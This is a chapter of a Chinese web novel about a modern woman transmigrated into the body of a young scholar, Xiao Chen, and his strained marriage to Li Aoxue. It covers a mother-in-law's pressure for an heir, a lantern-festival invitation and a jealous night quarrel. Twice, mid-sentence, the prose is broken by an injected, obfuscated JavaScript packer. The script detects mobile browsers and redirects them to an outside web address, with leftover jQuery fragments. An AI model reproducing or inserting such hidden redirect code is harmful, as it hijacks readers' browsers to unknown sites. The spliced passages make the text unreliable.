肖母看着儿子维护李傲雪,心中虽有不悦,但也不好再多说什么,只是说道:“罢了,下不为例。吃饭吧。” 于是,三人各自落座,饭厅内一时安静下来。 三人吃完饭,肖母便将目光直直投向李傲雪,神色严肃地问道:“这几日,我儿子可与你同房?”李傲雪脸上顿时飞起一抹红晕,微微低下头,小声答道:“母亲,少爷一直与我睡在一起,只是……只是没有……” 肖母一听,眉头紧皱,语气中满是责备:“你怎么做妻子的?都不知道体贴丈夫!夫妻之间,本就该尽些本分,你如此扭捏,怎能让我儿子满意,又怎能为肖家开枝散叶?” 李傲雪心中委屈,眼眶泛红,嗫嚅着解释:“母亲,儿媳并非有意如此,只是少爷他……”话未说完,便被肖母不耐烦地打断:“别找借口!我看你就是心思没放在正处。我儿子自幼教养良好,定是你不够主动,未能挑起他的兴致。” 肖晨在一旁听着母亲这番言论,尴尬又无奈,赶忙说道:“母亲,此事与傲雪无关,是孩儿自己的意思。孩儿近日忙于读书,实在无心其他。您莫要再责怪傲雪了。” 肖母看着儿子,恨铁不成钢地说道:“你这孩子,读书固然重要,可传宗接代也是大事!你莫要被那些书本迷了心智,忘了自己的责任。傲雪,你也别听他的,日后该主动些,知晓了吗?” 李傲雪眼中含泪,只得点头应道:“是,母亲,儿媳明白了。”肖晨看着李傲雪受委屈,心中满是心疼,却又无法改变母亲根深蒂固的观念,只能暗自叹息,希望母亲日后不要再为难李傲雪。 肖晨看着一脸严肃的肖母,赶忙轻声劝解:“母亲,我如今已然成家,不管怎样,以后肯定会让您抱上孙子的。只是眼下我一心扑在读书上,况且我和傲雪都还年轻,有的是时间。您就别这么着急了,就当是为儿子考虑考虑,成吗?” 肖母眉头依旧紧锁,眼中满是忧虑:“话虽如此,可这传宗接代之事,宜早不宜迟。你如今只顾着读书,万一耽搁了,如何是好?家族子嗣绵延,可是大事。” 肖晨走上前,轻轻握住母亲的手,语气温柔且坚定:“母亲,我明白您的担忧。但儿子心中有数,读书是为了有更好的前程,将来能给傲雪和孩子更安稳的生活。等我在学业上稍有成就,定会将此事放在心上,不会让您失望的。” 肖母微微动容,看着儿子恳切的眼神,心中的气也消了几分,无奈地叹了口气:“罢了罢了,就依你。可你也别让我等太久,我还盼着早日含饴弄孙呢。” 肖晨赶忙点头:“母亲放心,儿子记住了。傲雪她也懂事,我们二人定会好好相处,不辜负您的期望。”说罢,他转头看向李傲雪,眼神中带着安抚。李傲雪微微颔首,感激地看了肖晨一眼,轻声对肖母说道:“母亲,儿媳日后会与少爷相互扶持,尽早遂了您的心愿。”肖母看着二人,神色缓和了许多,说道:“嗯,你们能这般懂事就好,去吧,早些休息。” 于是,肖晨和李傲雪向肖母行礼告退,携手离开了厅堂。 二人回到房里,肖晨径直走到床边,疲惫地躺了上去,伸手揉了揉眉心。一想到方才母亲和李傲雪之间的场景,他满心无奈,心中暗自思忖:这婆媳关系实在是太难调和了,长此以往,看来得搬出去住才行,不然迟早得被逼疯。 李傲雪见他这副模样,以为他是读书累了,心中满是心疼。她轻手轻脚地走到床边,缓缓俯下身,想要仔细看看他的神情。而此刻的肖晨,正沉浸在自己的思绪里,想得太过出神,完全没有注意到李傲雪距离自己已经这么近。 李傲雪看着肖晨微皱的眉头,忍不住伸出手,轻轻将他的眉头抚平,柔声道:“少爷,是不是今日读书太累了?若是疲倦,便早些歇息吧。”肖晨这才回过神来,一抬眼,便对上李傲雪关切的目光,两人的脸近在咫尺,他甚至能感受到李傲雪温热的呼吸。 肖晨微微一怔,脸上不自觉泛起一丝红晕,连忙稍稍侧身,拉开了些距离,说道:“傲雪,我没事,只是方才在想些事情。”李傲雪有些疑惑,轻声问道:“少爷在想何事,可是有什么烦心事?说与傲雪听听,或许傲雪能为少爷分忧。” 肖晨犹豫了一下,觉得此事也该与李傲雪商量,便说道:“傲雪,我方才在想,母亲和你之间的相处,似乎有些不太融洽。长此以往,恐怕会生出许多矛盾。我想着,要不我们搬出去住,也好避开这些纷争,你觉得如何?” 李傲雪听了,心中有些惊讶,但随即陷入沉思。片刻后,她缓缓说道:“少爷,搬出去住,确实能少些婆媳间的摩擦。只是母亲那边……她能同意吗?而且,此举会不会让旁人说三道四,说我们不孝?” 肖晨轻轻握住李傲雪的手,说道:“我明白你的顾虑。母亲那边,我会找机会好好与她商议。至于旁人的看法,只要我们问心无愧便好。我只是不想让你整日夹在中间为难,也不想因为这些琐事,影响了我们的生活。” 李傲雪看着肖晨,眼中满是感动,点头说道:“少爷,一切都听你的,只要能与少爷在一起,傲雪去哪里都愿意。” 肖晨凝望着眼前善解人意的李傲雪,心中情愫涌动。看着她那满含深情与信任的眼眸,一股冲动驱使他缓缓抬起手,轻轻托住她的下巴。李傲雪微微一愣,脸颊瞬间绯红,眼中闪过一丝羞涩与期待,她下意识地闭上双眼。 肖晨的脸慢慢凑近,两人的气息交织在一起。就在双唇快要接触的那一瞬间,仿佛有一股无形的力量拉扯着他。他心中猛地一紧,像是突然被什么击中,理智瞬间回笼。肖晨身子一颤,急忙向后退去,脸上满是复杂的神情。 李傲雪缓缓睁开眼睛,眼中的期待瞬间化作失落,她咬着嘴唇,眼眶微微泛红,声音带着一丝颤抖:“少爷……是我哪里做得不好吗?”肖晨满心愧疚,他深知自己的举动让李傲雪受伤了,赶忙解释道:“傲雪,不是你的问题,是我……我还没有做好准备。你这么好,我不想唐突了你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993179|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是刚刚那一刻……我有些失控,对不起。” 李傲雪眼中泪光闪烁,她深吸一口气,努力挤出一丝笑容:“少爷,我明白的,是傲雪太心急了。感情之事,本就该循序渐进,少爷莫要自责。”肖晨看着她强颜欢笑的模样,心疼不已,轻轻将她拥入怀中:“傲雪,你如此体谅我,我却……我定会好好待你,给你足够的时间和尊重,等我真正做好准备。”李傲雪靠在肖晨怀里,默默地点了点头,泪水悄然滑落。 李傲雪见肖晨这样,心中虽有些失落,但仍下意识地伸手,想要为他宽衣解带,轻声说道:“少爷,让我来。”肖晨赶忙侧身躲开,说道:“不用了,我自己来就行了。”李傲雪张了张嘴,似乎还想说些什么,肖晨却再次开口,态度坚决:“我自己的事自己做习惯了,你别忙活了。” 两人洗漱完毕后,躺到了床上。黑暗中,李傲雪辗转反侧,内心纠结了一会儿,还是忍不住轻轻往肖晨怀里蹭去,她眷恋着这份亲近。肖晨感觉到她的动作,身子一僵,赶忙说道:“赶紧睡吧,不早了。”他心里着实害怕自己再有方才那种难以自控的生理反应,毕竟李傲雪的温柔与靠近,对他而言是一种强烈的吸引。 李傲雪听出了肖晨话语中的闪躲,心中满是委屈,但她也明白肖晨的心思,只好停下动作,轻声应道:“好,少爷,晚安。”说完,她背过身去,泪水在眼眶里打转。肖晨察觉到李傲雪情绪的低落,心中有些不忍,可又实在不知该如何安抚,只能在黑暗中无声地叹了口气,静静地望着床顶,久久未能入眠。 第二天清晨,天色刚泛起鱼肚白,肖晨便早早醒来。他看了眼身旁仍在熟睡的李傲雪,轻手轻脚地下了床,生怕吵醒她。 他唤来丫鬟,示意丫鬟为自己穿衣洗漱。在整个过程中,他一直默不作声,神情略显局促。昨晚的种种情形在他脑海中不断回放,让他实在不想面对李傲雪,那种尴尬的感觉挥之不去。 穿戴整齐后,肖晨思索片刻,对身旁的丫鬟低声说道:“一会把早餐端到我书房里去吧。”丫鬟微微一愣,不过还是恭敬地应道:“是,少爷。”肖晨又忍不住叮嘱:“若是少夫人问起,就说我一早有要紧事,在书房处理,暂不见客。”丫鬟赶忙点头称是。 交代完这些,肖晨匆匆走出房间,步伐略显急切。他来到书房,坐在书桌前,却无心读书,只是呆呆地望着窗外,脑海里全是李傲雪昨晚失落的神情,心中不禁泛起一阵愧疚,但一时之间,他也不知该如何面对李傲雪,只能选择暂时逃避。 不多时,老先生迈着稳健的步伐走进书房,准备教授肖晨《弟子规》。肖晨见先生来了,赶忙起身行礼,待两人落座后,肖晨却没有如往常般准备听讲,而是面露难色,看向先生说道:“先生,学生如今已然成家,只是对于妻子,实在不知该如何面对,还望先生能指点一二。” 老先生微微一愣,随即露出温和的笑容,轻抚胡须缓缓说道:“夫妻相处,的确是一门深奥的学问呐。这世间夫妻,相处之道各有不同。倘若你实在对妻子喜欢不起来,倒也无妨,只需好吃好喝地善待她。衣食住行,皆不可亏待,如此,也算是尽到了一份责任。” 肖晨微微皱眉,思索片刻后说道:“先生,其实学生并非不喜欢傲雪,只是……只是有时觉得与她相处,总有种不知所措之感,不知如何表达自己的心意,还时常让她伤心难过。”老先生听了,眼中闪过一丝了然,点头说道:“这夫妻之间,贵在坦诚与理解。你不妨多与她沟通,了解她心中所想,将自己的心意如实相告。感情之事,慢慢磨合,方能渐入佳境。切不可因一时的迷茫,伤了夫妻情分。” 肖晨听了先生的话,心中豁然开朗,拱手说道:“多谢先生教诲,学生明白了。学生定当努力,与傲雪好好相处,不负她一片深情。”老先生欣慰地笑了笑,说道:“如此便好,咱们这便开始今日的课业吧。”于是,书房内再次响起老先生讲解《弟子规》的声音,肖晨也收起思绪,专心听讲,只是心中已然暗暗下定决心,要改善与李傲雪的关系。 下了课,已近中午时分。此时,林羽手提礼物,前来肖府拜访。李傲雪正在院内整理花草,瞧见有客人到访,赶忙放下手中活计,快步迎上前去。 林羽见李傲雪走来,不禁微微一愣,眼中闪过一丝惊艳。只见李傲雪身着淡蓝色的罗裙,青丝如瀑,眉眼间透着温婉与灵动,气质淡雅宜人。林羽回过神来,笑着说道:“想必这位便是嫂夫人吧?真是仪态万千,肖兄好福气呀。” 李傲雪微微脸红,福身行礼,轻声说道:“公子过奖了。不知公子是?” 林羽赶忙自我介绍:“嫂夫人,在下林羽,与肖兄乃是好友。今日特来拜访,怎么不见肖兄呢?”李傲雪微笑着说道:“原来是林公子,快请进。少爷他刚下课,估计在书房整理课业,我这便让人去唤他。”说罢,李傲雪便吩咐身旁的丫鬟去书房请肖晨。 林羽随着李傲雪走进厅中,将礼物放在一旁,客气地说道:“嫂夫人,一点薄礼,不成敬意,还望笑纳。”李傲雪赶忙说道:“林公子太客气了,来便来了,还带什么礼物。”两人正说着,肖晨匆匆赶来,笑着说道:“林兄,你可来了,我正盼着呢!”林羽起身,与肖晨相互作揖,笑道:“肖兄,许久不见,甚是想念啊!”肖晨也笑道:“我亦是如此。今日你能来,咱们定要好好叙叙旧。” 三人在厅中坐下,林羽面带笑意,看着肖晨感慨道:“没想到肖兄这么早就成家了,还娶了嫂夫人这般贤惠的妻子,当真是让人羡慕不已。”肖晨微微颔首,神色平和地回应:“这是家里安排的。能有傲雪这样的妻子,确实是我的荣幸。” 李傲雪在一旁听着,脸颊微红,轻声说道:“公子谬赞了,傲雪不过是做了分内之事。”林羽爽朗一笑,说道:“嫂夫人太过谦逊了,单从方才见面时嫂夫人的举止仪态,便能看出持家有道。肖兄,你可得好好珍惜呀。” 肖晨转头看向李傲雪,眼中流露出一丝温柔,说道:“那是自然。傲雪为家中付出诸多,我都看在眼里。”李傲雪感受到肖晨的目光,心中一暖,嘴角不自觉地上扬。 林羽见状,心中为好友感到高兴,又打趣道:“肖兄如今成家,往后怕是要把心思多分些给嫂夫人,与我等相聚的时间,恐怕要少喽。”肖晨笑着摆摆手,说道:“林兄这是哪里的话,即便成家,兄弟间的情谊也不会变。日后你只管常来,咱们依旧可以谈天说地。” 林羽脸上带着一抹狡黠的笑,凑近肖晨,压低声音说:“肖兄如今一心忙着读书,身边又有嫂夫人温柔相伴。不过呢,正所谓人不风流枉少年,这后天城里可有个盛大的灯会。嘿,一到晚上,那可是花枝招展,好多美人都会来逛灯呢,你就不趁此机会去凑凑热闹,好好玩玩?” 肖晨微微皱眉,瞥了一眼正忙着招呼下人端茶的李傲雪,轻声回道:“林兄,这话可莫要再提。我既已成家,自当恪守本分,怎能有此念头。况且,我平日里心思多放在学业上,对这些玩乐之事,兴趣不大。” 林羽不以为然地轻轻摇头,笑着打趣:“肖兄,你也别太死板嘛。不过是去凑个热闹,又不是让你做出什么逾矩之事。难得有这等盛会,说不定还能寻些作诗的灵感呢。” 肖晨依旧坚定地摇了摇头,说道:“林兄美意我心领了,但还是算了。我还是觉得陪傲雪,专心读书,才是当下该做的。” 这时,李傲雪端着茶过来,笑着说:“两位公子聊什么呢,这么热闹?”肖晨接过茶盏,对李傲雪说道:“没什么,林兄只是说起后天的灯会。”李傲雪眼中闪过一丝期待,说道:“灯会?听闻那场面十分热闹,各式花灯琳琅满目。” 林羽见状,又看向李傲雪,说道:“嫂夫人既然有兴趣,不如让肖兄陪你一同去逛逛?” 肖晨看着李傲雪眼中的期许,犹豫了一下,说道:“若傲雪想去,那我们便去凑个热闹。”李傲雪听了,脸上绽放出灿烂的笑容,“好呀,少爷,我还从未逛过灯会呢。” 林羽在一旁看着,露出欣慰的笑容,心想总算促成了一件趣事。 19. 你对女子的事情这么清楚 林羽一听肖晨松口,兴奋地一拍手,说道:“那就这么说定了,后天灯会,咱们在城西那座最大的酒楼前碰面,不见不散!”肖晨笑着点头回应:“好啊,有林兄在,还能给我讲讲这灯会的新奇之处。” 随后,三人又天南海北地聊了一会儿,从诗词歌赋到坊间趣事。林羽口才极佳,妙语连珠,逗得李傲雪不时掩面轻笑,肖晨也被他的讲述引得兴致盎然。 不知不觉,日头渐西,天色转暗。林羽意识到时间不早,便起身拱手告辞:“肖兄,嫂夫人,时候不早了,我也该回去了,不然家中长辈该挂念了。”肖晨和李傲雪也站起身来,肖晨说道:“林兄难得来一趟,却未能多作挽留,实在过意不去。”李傲雪微笑着附和:“林公子慢走,日后还望常来。” 林羽笑着回应:“肖兄、嫂夫人客气了,咱们之间无需这般见外。后天灯会,咱们准时相聚。”说罢,林羽转身离去。肖晨和李傲雪将他送至门口,看着林羽的身影消失在街道尽头,两人才转身回府。 回府途中,李傲雪难掩心中期待,轻声对肖晨说:“少爷,真期待后天的灯会呀。”肖晨看着她眼中闪烁的光芒,心中满是宠溺,说道:“嗯,后天定让你玩得尽兴。” 肖晨其实内心对这灯会并没有多少兴致。毕竟在他原本所处的现代,外滩的璀璨夜景、不夜城那美轮美奂的灯光秀,各式各样绚丽至极的光影盛宴他都见识过。相比之下,这古代的灯会,在灯光规模和创意上,着实难以让他惊艳。 对他而言,去灯会凑个热闹倒也无妨,但要说去看那些古代女子,他实在提不起兴趣。毕竟,他有着特殊的秘密——若他还是原本的男儿身,或许还会像寻常男子一样,对灯会中穿梭的年轻女子投去好奇或欣赏的目光。可现在,这具身体里藏着的是截然不同的灵魂,看待事物的视角和喜好,自然也与这时代的男子大相径庭。不过,一想到李傲雪满心期待的模样,他又觉得,陪着她去感受这份热闹,也不失为一件美好的事。 李傲雪抬眸看向肖晨,眼中闪过一丝担忧,说道:“少爷,要是我们去逛灯会,母亲会不会不允许我们出去呀?”肖晨轻轻握住她的手,安抚道:“不会的,傲雪。到时候我去跟母亲说,她会答应的。” 稍作停顿,肖晨又想起什么,说道:“只是这么热闹的场面,我们也叫上玉溪一起去吧。她以前出身香满楼,想来也没好好逛过灯会。这次让她陪我们一起,人多也更热闹些。” 李傲雪欣然点头,微笑道:“少爷想得周到,玉溪妹妹平日里尽心尽力伺候我,也该让她去凑凑热闹,放松放松。想必她知道能一同去逛灯会,定会很高兴。” 肖晨看着李傲雪,温柔地说:“你心地善良,能这么为玉溪着想,她跟着你,也是她的福气。”李傲雪脸颊微红,说道:“少爷过奖了,玉溪待我如亲姐妹,我自然也希望她能开心。” 肖晨和李傲雪转身询问丫鬟玉溪的去向,丫鬟忙回道:“她在房里呢。”两人赶忙来到玉溪房门前,轻轻敲门后走了进去。 一进屋,肖晨就看到玉溪躺在床上,眉头紧皱,脸色苍白。他关切地问道:“你怎么躺床上了?”玉溪疼得厉害,嘴唇微微颤抖,却实在没办法说出口。 李傲雪见状,心中猜到几分,轻声问道:“不会是葵水来了痛吧?”肖晨一听,瞬间明白,这不就是痛经嘛。他不假思索,急忙对李傲雪说道:“你去煮点姜茶,再拿热毛巾给她敷肚子上。” 李傲雪愣了一下,简直不敢相信自己的耳朵。她满心疑惑,忍不住在心里琢磨:少爷怎么对女子痛经的应对之法如此了解?但此时情况紧急,容不得她多想,她应了一声,便匆匆转身去准备姜茶和热毛巾。 李傲雪匆忙赶到厨房,一边吩咐厨子赶紧烧水,一边自己动手切姜片,动作迅速又利落。不一会儿,姜茶煮好,热气腾腾地散发着辛辣的香气。她又赶忙拿了一条干净的毛巾,浸湿后拧干,放在热水里再次加热,才小心翼翼地端着姜茶,拿着热毛巾匆匆返回玉溪的房间。 此时肖晨正坐在床边,轻声安慰着玉溪:“玉溪,别担心,傲雪去准备东西了,一会儿就好,忍一忍。”玉溪微微点头,虚弱地挤出一丝微笑,小声说道:“少爷,让您费心了……” 李傲雪走进来,将姜茶放在桌上,然后轻轻把热毛巾递给肖晨。肖晨接过,动作轻柔地放在玉溪肚子上,说道:“玉溪,敷着这个会舒服些。来,喝点姜茶。”李傲雪也在一旁温柔地劝道:“是啊,玉溪,喝点姜茶暖暖身子。” 玉溪在两人的搀扶下微微起身,接过姜茶慢慢喝了几口。温热的液体顺着喉咙流下,肚子里似乎也有了暖意,疼痛仿佛减轻了一些。她感激地看着肖晨和李傲雪,眼中泛起泪花:“少爷,少夫人,玉溪何德何能,能得您二位如此关怀……” 肖晨摆了摆手,说道:“说这些做什么,你平日里尽心尽力伺候傲雪,我们都看在眼里。如今你身体不适,照顾你是应该的。”李傲雪也坐在床边,握住玉溪的手:“是啊,玉溪,咱们就像一家人,别这么见外。以后再有这样的情况,别自己忍着,一定要说出来。” 过了一会儿,玉溪的脸色渐渐恢复了一些血色,眉头也不再紧紧皱着。肖晨见她状态有所好转,说道:“你好好休息,要是还疼,就跟我们说。灯会的事,等你身体好了再说。”玉溪连忙摇头:“少爷,少夫人,我没事了,后天的灯会我还是想陪你们一起去。这机会难得,我不想错过。” 李傲雪心疼地说:“可别勉强自己,身体重要。”玉溪坚定地说:“少夫人,我真的没事了,刚刚喝了姜茶,敷了毛巾,已经好多了。这是我第一次能和你们一起去逛灯会,我真的很期待。” 肖晨和李傲雪对视一眼,看到玉溪眼中的期待,肖晨说道:“那好吧,但你一定要注意身体,要是觉得不舒服,可千万别硬撑着。”玉溪用力点头,脸上露出开心的笑容:“谢谢少爷,少夫人!” 待玉溪躺下休息后,肖晨和李傲雪轻手轻脚地走出房间。李傲雪忍不住问道:“少爷,你怎么对女子痛经的事如此了解呀?我从未见你接触过这些呢。”肖晨心中一紧,脑子飞速运转,笑着解释道:“我以前曾在医书里看到过,说女子经期疼痛,姜茶和热敷能缓解,刚好就记住了。”李傲雪恍然大悟,钦佩地说:“少爷真是博闻强识,连医书上这般细节都记得。”肖晨暗自松了口气,笑道:“不过是碰巧记住罢了。” 李傲雪心中的疑惑并未就此消散,她微微皱眉,轻声说道:“少爷,虽说您看过医书,可您刚刚的样子,记得如此清楚,又做得这般熟练,不像是第一次这样照顾人呢。” 肖晨一时没多想,下意识就说道:“我有个好朋友,她平日里就爱吃凉的,也不注意这些,每次痛起来都难受得不行,我就这么照顾她,次数多了自然熟练些。”话一出口,他才猛地反应过来,心中暗叫不好。 李傲雪勉强扯出一丝笑容,说道:“少爷对朋友真好。”可那笑容却怎么也达不成眼底,她低下头,掩饰眼中一闪而过的落寞。毕竟,肖晨如此细致地照顾过另一个女子,这让她心里多少有些不是滋味。 肖晨见状,心中满是懊悔,赶忙解释道:“傲雪,你别误会,我和她只是纯粹的朋友。而且那都是过去的事了,如今我心里只有你。我刚刚只是着急,没想那么多就说出来了。”说着,他轻轻握住李傲雪的手,一脸诚恳地看着她。 李傲雪抬起头,看着肖晨眼中的焦急与紧张,心中的委屈稍稍缓解了些。她轻声说道:“少爷,我知道你为人重情义,只是……只是听到你这般照顾过别的女子,心里难免有些难过。” 肖晨将李傲雪轻轻拥入怀中,温柔地说:“傲雪,是我考虑不周,让你伤心了。往后我做事说话,定会更加注意。你在我心中,是独一无二的,任何人都无法替代。”李傲雪靠在肖晨怀里,感受着他的温暖与真诚,轻轻点了点头,低声说:“嗯,少爷,我信你。” 肖晨轻轻放开李傲雪,目光中满是关切地说道:“那你这几天就多去照顾照顾玉溪吧,争取让她早点好起来。毕竟后天的灯会,大家一起去才热闹。”李傲雪郑重点头,温柔回应:“嗯,少爷放心,我会尽量让她快点好起来的。” 话落,李傲雪微微仰头,眼中带着一丝期待与羞涩,轻声问道:“少爷,若是我以后也遇到这般情况,你也会像照顾玉溪一样照顾我吗?”肖晨毫不犹豫,伸手轻轻将李傲雪散落的发丝别到耳后,目光坚定且深情地说道:“我会的。傲雪,你在我心里是最重要的人,无论你遇到什么,我都会在你身边。” 李傲雪脸颊绯红,心中满是甜蜜,她依偎进肖晨怀里,轻声说道:“少爷,有你这句话,傲雪便知足了。” 肖晨看着李傲雪,神情真挚地说道:“你跟我就像亲人一样,在我心里的地位无比重要。所以啊,我自然会好好照顾你的,这是我打从心底就认定的事。你千万别多想,我对你的心意,始终如一。” 李傲雪微微颔首,嘴角泛起一抹温柔的笑意,眼中虽还残留着一丝方才那点小情绪的痕迹,但更多的是对肖晨这番话的感动与安心。“少爷,有你这番话,傲雪便觉得自己是世上最幸福的人了。傲雪以后也会一直陪伴着少爷,打理好家中事务,不让少爷操心。” 肖晨轻轻抚了抚她的发顶,柔声道:“有你在我身边,是我的福气。咱们一起把日子过得越来越好。这几天你照顾玉溪也别太累着自己,要是有什么需要帮忙的,尽管跟我说。” 李傲雪应了一声,抬眸看向肖晨,目光中满是眷恋与依赖。“少爷放心,傲雪会注意的。玉溪平日对我尽心尽力,如今她身体不适,我理应好好照顾她。而且一想到后天我们三人能一起去逛灯会,傲雪就觉得满心欢喜。” 肖晨看着李傲雪眼中闪烁的期待光芒,心中也不禁充满了对即将到来的灯会的憧憬。“嗯,后天我们一起去,定要好好享受这难得的热闹时光。 晚上,二人用完晚膳,便回到房中。像往常一样,李傲雪深知肖晨不喜欢她靠得太近,便很规矩地在床的一侧躺好。不一会儿,肖晨平稳的呼吸声传来,他很快就进入了梦乡。 在梦里,肖晨仿佛又回到了现代,正和闺蜜沉浸在紧张刺激的游戏对战中。只见他的眉头时而紧皱,时而舒展,嘴里还不自觉地说起了梦话:“子涵,你快点上去,我来守护你!”那语气急切又坚定,仿佛此刻正置身于激烈的游戏战场。 睡在一旁的李傲雪,在寂静的夜里,将这梦话听得清清楚楚。她原本平静的心情瞬间泛起涟漪,心中涌起一股难以言喻的酸涩。“子涵”,这个陌生又亲昵的名字,就像一根针,轻轻刺痛了她的心。她缓缓侧过身,借着窗外透进来的微弱月光,凝视着肖晨的睡脸。此时的他,在睡梦中似乎还在为“子涵”紧张着,全然不知这番梦话给身边的李傲雪带来了怎样的触动。 李傲雪咬了咬嘴唇,眼眶渐渐湿润。她不知道“子涵”是谁,与肖晨又有着怎样的关系,但从这梦话中,她能感觉到这个“子涵”在肖晨心中似乎有着特殊的地位。在这漫长的夜里,李傲雪辗转反侧,心中满是疑惑与不安,久久难以入眠。 肖晨在梦中,眼见着“子涵”游戏里似乎要输,下意识地伸手一揽,就将身旁的李傲雪紧紧搂住,脸上带着几分得意的笑,喃喃道:“子涵,还是我厉害吧。” 李傲雪被他突然搂住,本就有些惊讶,再听到他嘴里不停念叨着“子涵”,心里顿时“咯噔”一下。她满脸羞愤与委屈,脸颊瞬间涨得通红,脑海中一个羞人的念头一闪而过:他不会是在做什么春梦,把自己当成那个叫子涵的女子了吧? 李傲雪又气又急,用力推了推肖晨,试图挣脱他的怀抱。可肖晨在睡梦中却好似抓得更紧了些,嘴里依旧嘟囔着与“子涵”有关的只言片语。李傲雪又羞又恼,眼眶里蓄满了泪水,小声地带着哭腔说:“少爷,你醒醒……” 此刻的她,满心都是被忽视和错认的委屈,在这黑夜里,显得格外无助。 李傲雪又急又气地推搡,却让睡梦中的肖晨误以为是“子涵”在和他玩闹,嘴里嘟囔着:“子涵,怎么还推我呀,平时咱们这么要好,你都把我弄疼啦,不就是没在游戏里让着你嘛。” 李傲雪听着这些话,心中的委屈如决堤的洪水般泛滥。泪水不受控制地顺着脸颊滑落,她又羞又气,却又不知该如何是好。在这个古代深闺之中,她满心依赖的丈夫,在睡梦中却将她错认成另一个女子,还说着如此亲密的话语。 她再次用力挣扎,带着哭腔说道:“少爷,你醒醒,我不是子涵!”这一次,或许是李傲雪的声音太过悲切,肖晨终于从梦中惊醒。他迷迷糊糊地睁开眼睛,看到满脸泪痕、神色委屈的李傲雪,还有自己紧紧搂着她的手,瞬间清醒过来,心中满是愧疚与慌乱。 肖晨猛地清醒,见此情形,像触了电一般迅速把手抽出来,满脸慌乱与愧疚,急忙解释:“我……我不是故意的,傲雪,刚刚我做了个梦,一时间没分清现实。”他看着李傲雪泪流满面,心像被狠狠揪了一下,懊悔不已。 李傲雪别过头去,抽噎着说:“少爷梦里的子涵,与你定是极亲密的。我虽只是个女子,也知道男女有别,可听你梦里声声唤她,我……我实在难受。” 肖晨赶忙坐起身,伸手想安抚李傲雪,又怕她抗拒,手僵在半空,急道:“傲雪,子涵只是我在以前的朋友,就像兄弟一样,我们之间绝无其他。方才是我不好,让你伤心了。” 李傲雪微微转头,泪眼朦胧地看着他,带着一丝希冀问:“真的只是朋友?”肖晨用力点头,一脸诚恳:“千真万确,我对天发誓。以后我定会注意,不会再让你有这般委屈。”李傲雪看着他焦急又认真的模样,心中的委屈稍稍缓解了些,却仍忍不住低声啜泣。 肖晨见李傲雪还在哭,赶忙哄道:“你先别哭咯,不过就是做个梦嘛,瞧你,把自己哭成个小花猫。看来以后说话真得小心点。” 李傲雪听他这话,心里的委屈又浓了几分,她止住哭声,直直地看着肖晨,问道:“你跟那位子涵姑娘,当真没有亲密接触吗?” 肖晨一时没反应过来,下意识地回答:“我们就只是搂搂抱抱,没事睡一起。这有什么啊,在我们那儿,大家关系好,这些都很正常。”话一出口,他才意识到自己说错话了,看着李傲雪瞬间瞪大双眼,一脸不可置信与受伤的表情,心里暗叫不好。 李傲雪气得嘴唇都微微颤抖,声音带着哭腔说道:“搂搂抱抱,还睡在一起?这……这成何体统!少爷,在这世上,男女之间怎可有这般行径!你……你让我如何自处!”说罢,她用被子蒙住头,放声大哭起来。肖晨这下彻底慌了神,赶忙去拉被子,嘴里不停解释:“傲雪,不是你想的那样,我们那个世界观念不一样,真的没有逾矩之事,你听我解释啊……” 李傲雪在被子里哭得愈发伤心,闷声说道:“我不想听!在我看来,这般行为实在伤风败俗!” 肖晨急得额头上冒出细密的汗珠,心里直叫苦。他心里想着,在现代,两个女生之间拥抱、偶尔睡在一起,真的是再平常不过的事,大家都觉得这只是关系亲密的表现,根本没有什么别的意思。自己刚刚不过是如实坦白,没想着要对李傲雪说谎,可没想到却把事情弄成了这样。 他忘了,如今身处古代,自己还是男子身份,这样的行为在古人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993180|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼中确实难以接受。此刻他满心懊悔,想要解释,可又觉得一时之间不知从何说起,现代和古代观念的巨大差异,让他不知该如何才能让李傲雪明白其中缘由。 他只能不断地说着:“傲雪,你先别气,真的不是你想的那种男女之情,你相信我。”一边说着,一边轻轻拉着被子,希望李傲雪能听他解释,可李傲雪只是哭着,根本不愿理他。 肖晨实在不知该如何继续哄下去,只觉得越解释情况越糟糕,满心无奈与疲惫。他用力抓着被子,侧身躺下,带着几分烦躁道:“你别哭了行不行,我还得睡觉呢。” 李傲雪听到这话,哭声戛然而止,震惊与伤心交织在心头。她没想到,自己如此难过,肖晨竟这般不耐烦。黑暗中,她双眼直直地盯着床顶,泪水仍不断从眼角滑落,打湿了枕头。 肖晨虽躺下,却也难以入眠,心中五味杂陈,有点后悔自己刚刚的态度,可又不知如何打破这尴尬的局面。李傲雪满心委屈,觉得自己在肖晨心中似乎并不重要,对这段感情也生出许多迷茫。 肖晨翻了个身,背对着李傲雪,声音中透着一丝无奈与疲惫,说道:“我已经坦白了,事情就是这样,至于你接不接受,我也没办法再给你解释清楚了。你要是一直这么难过,我确实也没什么办法,我本来就不擅长哄人。” 李傲雪听着他这番话,心中的寒意更甚,她缓缓坐起身,借着窗外微弱的月光,看向肖晨的背影,眼中满是失望与痛心。“少爷,在你心中,我就如此无理取闹吗?你与别的女子那般亲密,一句解释不清,不会哄人,便想将此事揭过?”李傲雪的声音微微颤抖,透着深深的委屈。 肖晨听到李傲雪的质问,心中也有些烦躁,却又不知该如何应对。他又翻了个身,看着李傲雪,眼神中带着一丝茫然与无措,“傲雪,我知道我的话可能让你难受了,但在我原来的世界,这些真的没什么大不了。我不知该怎么让你理解,也不知道该怎么哄你才能让你不生气。” 